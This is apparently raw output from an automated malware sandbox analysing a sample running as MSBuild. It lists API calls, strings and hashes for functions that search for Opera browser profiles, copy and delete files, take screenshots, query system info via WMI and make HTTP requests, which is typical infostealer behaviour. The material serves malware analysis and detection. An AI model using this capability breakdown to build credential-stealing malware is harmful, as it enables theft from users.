EnterCriticalSection.KERNEL32(6C49F688), ref: 6C41377E
LeaveCriticalSection.KERNEL32(6C49F688), ref: 6C4137BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C4137C4
EnterCriticalSection.KERNEL32(6C49F688), ref: 6C4137CB
LeaveCriticalSection.KERNEL32(6C49F688), ref: 6C413801
__aulldiv.LIBCMT ref: 6C413883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C413902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C413918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C41394C

Strings

GTC, xrefs: 6C413912
AuthcAMDenti, xrefs: 6C413946
GenuntelineI, xrefs: 6C413639
MOZ_TIMESTAMP_MODE, xrefs: 6C4135DB
QPC, xrefs: 6C4138FC

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: be8f19c8d45bd20c7f24d0939156e85123bd056d74f0bf20f5b22d9ec046d1cb
Instruction ID: eea254f550364afa130a3547df552fcf67f9bfdd13aad9b8ffcbeffb75cb7ce5
Opcode Fuzzy Hash: be8f19c8d45bd20c7f24d0939156e85123bd056d74f0bf20f5b22d9ec046d1cb
Instruction Fuzzy Hash: DCB18171B093209FEB08EF29C844F2A7BF9BB99705F15892DF899D3750D67099058B81

Function 00415FD1 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 205
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00416018
FindFirstFileA.KERNEL32(?,?), ref: 0041602F
StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
wsprintfA.USER32 ref: 00416091
StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
wsprintfA.USER32 ref: 004160C2
wsprintfA.USER32 ref: 004160D9
PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
lstrcatA.KERNEL32(?), ref: 00416125
lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
lstrcatA.KERNEL32(?,?), ref: 0041614A
lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
lstrcatA.KERNEL32(?,?), ref: 00416170
CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
DeleteFileA.KERNEL32(?), ref: 0041629D
FindNextFileA.KERNEL32(?,?), ref: 004162FF
FindClose.KERNEL32(?), ref: 00416313

Strings

%s\*, xrefs: 0041600C
%s\%s, xrefs: 0041608B
%s\%s, xrefs: 004160D3

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$CloseCopyDeleteFirstMatchNextPathSpec
String ID: %s\%s$%s\%s$%s\*
API String ID: 2178766154-445461498
Opcode ID: 6ae935164d3feafb997cd558fd705644e50460ea22fb7019366a12ba31212e16
Instruction ID: 81d09dce4b51b3523f7962b1b768db3a72bb21831e5d2f1ad6ac3091453fc6b6
Opcode Fuzzy Hash: 6ae935164d3feafb997cd558fd705644e50460ea22fb7019366a12ba31212e16
Instruction Fuzzy Hash: 3E81287190022DABCF60EF61DC45ACD77B9FB08305F0194EAE549A3150EE39AB898F94

Function 00411807 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 143memorycomtimeCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 0041180E
CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411757: __EH_prolog3_catch.LIBCMT ref: 0041175E
Part of subcall function 00411757: CoCreateInstance.OLE32(004331B0,00000000,00000001,0043B018,?,00000018,00411901,?), ref: 00411781
Part of subcall function 00411757: SysAllocString.OLEAUT32(?), ref: 0041178E
Part of subcall function 00411757: _wtoi64.MSVCRT ref: 004117C1
Part of subcall function 00411757: SysFreeString.OLEAUT32(?), ref: 004117DA
Part of subcall function 00411757: SysFreeString.OLEAUT32(00000000), ref: 004117E1

FileTimeToSystemTime.KERNEL32(?,?), ref: 0041190A
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00411916
HeapAlloc.KERNEL32(00000000), ref: 0041191D
VariantClear.OLEAUT32(?), ref: 0041195C
wsprintfA.USER32 ref: 00411949

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Strings

InstallDate, xrefs: 004118ED
Unknown, xrefs: 00411971
WQL, xrefs: 0041189A
Select * From Win32_OperatingSystem, xrefs: 00411895
Unknown, xrefs: 0041196A
Unknown, xrefs: 00411985
%d/%d/%d %d:%d:%d, xrefs: 00411943
ROOT\CIMV2, xrefs: 00411862

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeHeapInitializeInstanceTimeVariant$BlanketClearFileH_prolog3_catchH_prolog3_catch_InitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$Unknown$WQL
API String ID: 2280294774-461178377
Opcode ID: 4a998e0831886b93ed92c0276ff9e06964fee6d6e5f1487c865c121be33c5c48
Instruction ID: 99ef6883476e7e72b4c9cbd85dd5ecdaeb76e40d083b236b73c3eff291e47a74
Opcode Fuzzy Hash: 4a998e0831886b93ed92c0276ff9e06964fee6d6e5f1487c865c121be33c5c48
Instruction Fuzzy Hash: 49416C71940209BBCB10DBD5DC89EEFBBBDEB89B11F20411AF611A6190D6799941CB38

Function 0041C585 Relevance: 26.7, APIs: 13, Strings: 2, Instructions: 440COMMON

Download Yara Rule

Strings

/, xrefs: 0041C638
UT, xrefs: 0041C8B0

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: 529ba8237f0014992bab19239517a34075ee691daa6caaefc8e8a53a834a0c09
Instruction ID: ceb82e4e54f3846e9f94eab9f0bc1a81f9160b51cd409ffa36bf36e6f1d1d03f
Opcode Fuzzy Hash: 529ba8237f0014992bab19239517a34075ee691daa6caaefc8e8a53a834a0c09
Instruction Fuzzy Hash: 55027EB19442688BDF21CF64CC817EEBBB5AF45304F1440EAD949AB242D6389EC5CF99

Function 00406963 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 161networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
StrCmpCA.SHLWAPI(?), ref: 004069DF
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC
InternetReadFile.WININET(?,?,000007CF,?), ref: 00406B40
InternetCloseHandle.WININET(?), ref: 00406B50
InternetCloseHandle.WININET(?), ref: 00406B5C
InternetCloseHandle.WININET(?), ref: 00406B68

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Strings

hhA, xrefs: 00406976
ERROR, xrefs: 00406BAB
ERROR, xrefs: 00406AB6
GET, xrefs: 00406A42

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$OpenRequestlstrlen$ConnectCrackFileInfoOptionQueryReadSendlstrcat
String ID: ERROR$ERROR$GET$hhA
API String ID: 3863758870-1019273260
Opcode ID: 5ced189bb939a1fc5faa788c84153e92a49d451aed57d78017f4c722cf7cb7a8
Instruction ID: b8be4e115d185e019c2f990b7d5ff4e2311a6bf9c79d427f1dbcd116f6077eb1
Opcode Fuzzy Hash: 5ced189bb939a1fc5faa788c84153e92a49d451aed57d78017f4c722cf7cb7a8
Instruction Fuzzy Hash: C551ADB1A00269AFDF20EB60DC84AEEB7B9FB04304F0180B6F549B2190DA755EC59F94

Function 00411F55 Relevance: 24.1, APIs: 16, Instructions: 147windowCOMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00411F96
GetDesktopWindow.USER32 ref: 00411FA4
GetWindowRect.USER32(00000000,?), ref: 00411FB1
GetDC.USER32(00000000), ref: 00411FB8
CreateCompatibleDC.GDI32(00000000), ref: 00411FC1
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00411FD1
SelectObject.GDI32(?,00000000), ref: 00411FDE
BitBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 00411FFA
GetHGlobalFromStream.COMBASE(?,?), ref: 00412049
GlobalLock.KERNEL32(?), ref: 00412052
GlobalSize.KERNEL32(?), ref: 0041205E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00405482: lstrlenA.KERNEL32(?), ref: 00405519
Part of subcall function 00405482: StrCmpCA.SHLWAPI(?,00436986,0043697B,0043697A,0043696F), ref: 00405588
Part of subcall function 00405482: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA

SelectObject.GDI32(?,?), ref: 004120BC
DeleteObject.GDI32(?), ref: 004120D7
DeleteObject.GDI32(?), ref: 004120E0
ReleaseDC.USER32(00000000,00000000), ref: 004120E8
CloseWindow.USER32(00000000), ref: 004120EF

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: GlobalObject$CreateWindow$CompatibleDeleteSelectStreamlstrcpy$BitmapCloseDesktopFromInternetLockOpenRectReleaseSizelstrlen
String ID:
API String ID: 2610876673-0
Opcode ID: 785c2575682d8d340d2f67ba17a8d5b3d83946c3163a7e1a1560ca7ccc0c905a
Instruction ID: c1d95bee058df7d0eb72bc71505ae5be25a1286d1fed2c65958a37403167da66
Opcode Fuzzy Hash: 785c2575682d8d340d2f67ba17a8d5b3d83946c3163a7e1a1560ca7ccc0c905a
Instruction Fuzzy Hash: A251EA72800218AFDF15EFA1ED498EE7FBAFF08315F145425F901E2120E7369A55DB61

Function 00401D80 Relevance: 23.3, APIs: 12, Strings: 1, Instructions: 529fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

FindFirstFileA.KERNEL32(?,?,0043AA64,0043AA68,004369EE,004369EB,00417A18,?,00000000), ref: 00401FA4
StrCmpCA.SHLWAPI(?,0043AA6C), ref: 00401FD7
StrCmpCA.SHLWAPI(?,0043AA70), ref: 00401FF1
FindFirstFileA.KERNEL32(?,?,0043AA74,0043AA78,?,0043AA7C,004369EF), ref: 004020DD
CopyFileA.KERNEL32(?,?,00000001), ref: 004022C3

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

DeleteFileA.KERNEL32(?), ref: 00402336
FindNextFileA.KERNEL32(?,?), ref: 004023A2
FindClose.KERNEL32(?), ref: 004023B6
CopyFileA.KERNEL32(?,?,00000001), ref: 004025DC

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

DeleteFileA.KERNEL32(?), ref: 0040264F

Part of subcall function 00416FA7: Sleep.KERNEL32(000003E8,?,?), ref: 0041700E

FindNextFileA.KERNEL32(?,?), ref: 004026C6
FindClose.KERNEL32(?), ref: 004026DA

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Strings

\*.*, xrefs: 00401E9E

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Find$lstrcpy$Close$CopyCreateDeleteFirstNextlstrcat$AllocAttributesFolderHandleLocalObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 1475085387-1173974218
Opcode ID: 5ec9d7e94330c494ef8d97e02669de3abc0dd461b5c13207354e91a8054b7340
Instruction ID: 6e187b3dd7c688dd3e2975bf598ceb31540ecf4cce5f896a17779636691c6a6b
Opcode Fuzzy Hash: 5ec9d7e94330c494ef8d97e02669de3abc0dd461b5c13207354e91a8054b7340
Instruction Fuzzy Hash: 1A320E71A401299BCF21FB25DD4A6CD7375AF04308F5100EAB548B71A1DBB8AFC98F98

Function 0041543D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 140stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041546A
FindFirstFileA.KERNEL32(?,?), ref: 00415481
StrCmpCA.SHLWAPI(?,00436A80), ref: 004154A2
StrCmpCA.SHLWAPI(?,00436A84), ref: 004154BC
lstrcatA.KERNEL32(?), ref: 0041550D
lstrcatA.KERNEL32(?), ref: 00415520
lstrcatA.KERNEL32(?,?), ref: 00415534
lstrcatA.KERNEL32(?,?), ref: 00415547
lstrcatA.KERNEL32(?,00436A88), ref: 00415559
lstrcatA.KERNEL32(?,?), ref: 0041556D

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

FindNextFileA.KERNEL32(?,?), ref: 00415623
FindClose.KERNEL32(?), ref: 00415637

Strings

%s\%s, xrefs: 0041545E

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 1150833511-4073750446
Opcode ID: 64224958b159b6d22f10ba55480620843db225054c2a355b86054d57ffa9fb44
Instruction ID: 497a639e9f9bed764e2b609cea13bbac8422ccb0898e6bf0b5073c566259866f
Opcode Fuzzy Hash: 64224958b159b6d22f10ba55480620843db225054c2a355b86054d57ffa9fb44
Instruction Fuzzy Hash: 4F515FB190021C9BCF64DF60CC89AC9B7BDAB48305F1044E6E609E3250EB369B85CF65

Function 0040BF4D Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 420fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,\*.*,0043682E,0040CC6B,?,?), ref: 0040BFC5
StrCmpCA.SHLWAPI(?,00437470), ref: 0040BFE5
StrCmpCA.SHLWAPI(?,00437474), ref: 0040BFFF
StrCmpCA.SHLWAPI(?,Opera,00436843,00436842,00436837,00436836,00436833,00436832,0043682F), ref: 0040C08B
StrCmpCA.SHLWAPI(?,Opera GX), ref: 0040C099
StrCmpCA.SHLWAPI(?,Opera Crypto), ref: 0040C0A7

Strings

Opera, xrefs: 0040C083
\*.*, xrefs: 0040BF73
Opera GX, xrefs: 0040C091
Opera Crypto, xrefs: 0040C09F

Memory Dump Source

